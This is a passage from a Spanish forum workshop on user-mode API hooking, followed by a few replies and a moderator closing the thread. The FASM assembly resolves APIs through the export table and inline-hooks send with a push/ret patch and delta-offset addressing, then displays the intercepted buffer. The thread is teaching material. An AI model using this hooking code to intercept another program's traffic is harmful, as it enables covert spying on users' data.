  112. add edx,edi
  113. .bucle:
  114. dec esi
  115. cmp esi,0
  116. je .error
  117. mov eax,esi
  118. rol eax,2   ;Multiplicamos esi por 4
  119. mov eax,[edx + eax]
  120. add eax,edi
  121. push eax
  122. mov eax,[lDelta]
  123. mov [lDelta2],eax
  124. add [lDelta2],comparar
  125. pop eax
  126. stdcall [lDelta2],[pApi],eax
  127. xor eax,0
  128. jnz  .bucle
  129. mov eax,[0x24+ebx]
  130. add eax,edi
  131. movzx ecx, word[eax + 2*esi]
  132. mov eax, [ebx + 0x1c]
  133. add eax,edi
  134. mov eax, [eax + 4 * ecx]
  135. add eax, edi
  136. .salir:
  137. ret
  138. .error:
  139. xor eax,eax
  140. jmp .salir
  141. endp
  142. proc comparar ,SRC,DST
  143. push edi ecx esi
  144. mov ecx,-1
  145. mov edi,[SRC]
  146. mov al,0
  147. repnz scasb
  148. mov eax,ecx
  149. not eax
  150. mov ecx,eax
  151. mov esi,[SRC]
  152. mov edi,[DST]
  153. repz cmpsb
  154. mov eax,1
  155. jnz Next
  156. dec eax
  157. Next:
  158. pop esi ecx edi
  159. ret
  160. endp
  161. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  162. ; by YST
  163. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  164. push esi edi
  165. xchg edi,[cBuffer]
  166. xchg esi,[Cpuntero]
  167. .bucleb:
  168. dec [cCantidad]
  169. movsb
  170. cmp  [cCantidad],0
  171. jge .bucleb
  172. pop edi esi
  173. ret
  174. endp
  175.  
  176. proc MiSend,p1,p2
  177. locals
  178. lDelta dd ?
  179. lRMM dd ?
  180. lResultado dd ?
  181. lDireccion dd ?
  182. lMensaje dd ?
  183. lBytes dd ?
  184. endl
  185.   call .delta
  186.     .delta:
  187.     pop edx
  188.     sub edx,.delta
  189.     mov [lDelta],edx
  190. mov eax,[lDelta]
  191. add eax,DireccionMes
  192. mov eax,dword[eax]
  193. mov [lMensaje],eax
  194. mov eax, DireecionAPI
  195. add eax,[lDelta]
  196. mov eax,dword[eax]
  197. mov [lDireccion],eax
  198. mov eax,cRtlMoveMemory
  199. add eax,[lDelta]
  200. mov [lRMM],eax
  201. mov eax,BytesOriginales
  202. add eax,[lDelta]
  203. mov [lBytes],eax
  204. stdcall [lRMM],[lDireccion],[lBytes],40
  205.  
  206. stdcall [lDireccion],[p1],[p2]
  207.  
  208. mov [lResultado],eax
  209.  
  210. mov eax,[lDelta]
  211. add eax,MiSend
  212. mov ebx,[lDireccion]
  213. mov byte[ebx],0x68
  214. inc ebx
  215. mov dword[ebx],eax
  216. add ebx,4
  217. mov byte[ebx],0xC3
  218. mov eax,[p2]
  219. add eax,44
  220. stdcall [lMensaje],0,eax,0,0
  221.  
  222. mov eax,[lResultado]
  223. ret
  224. endp
  225. DireccionMes dd ?
  226. DireecionAPI dd ?
  227. BytesOriginales:
  228. db 50 dup (0)
  229.  
  230.     FinFuncion:
  231. .end start ; Declaramos el Import data y el Entry Point    
  232.  


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: 33boy33 en 19 Julio 2015, 03:52 am
Una cosilla esto no es Assembler de pura cepa tipo ollydbg asi que no estoy seguro que es exactamente y tampoco como compilarlo o como va el asunto para poder ejecutarlo.


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: YST_RET en 21 Julio 2015, 02:30 am
Si , es asm puro el ensamblador es FASM buscalo en google . Saludos


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: zerointhewill en 19 Enero 2016, 20:42 pm
cuando seguira el tema ?  :D :D


Título: Re: [Taller] Api Hooking en modo usuario
Publicado por: Eleкtro en 19 Enero 2016, 22:54 pm
cuando seguira el tema ?  :D :D

Probablemente... nunca.

Lee la fecha del post, y la fecha de la última actividad del usuario antes de responder a un hilo.

Está prohibido revivir temas antiguos.

Tema Cerrado.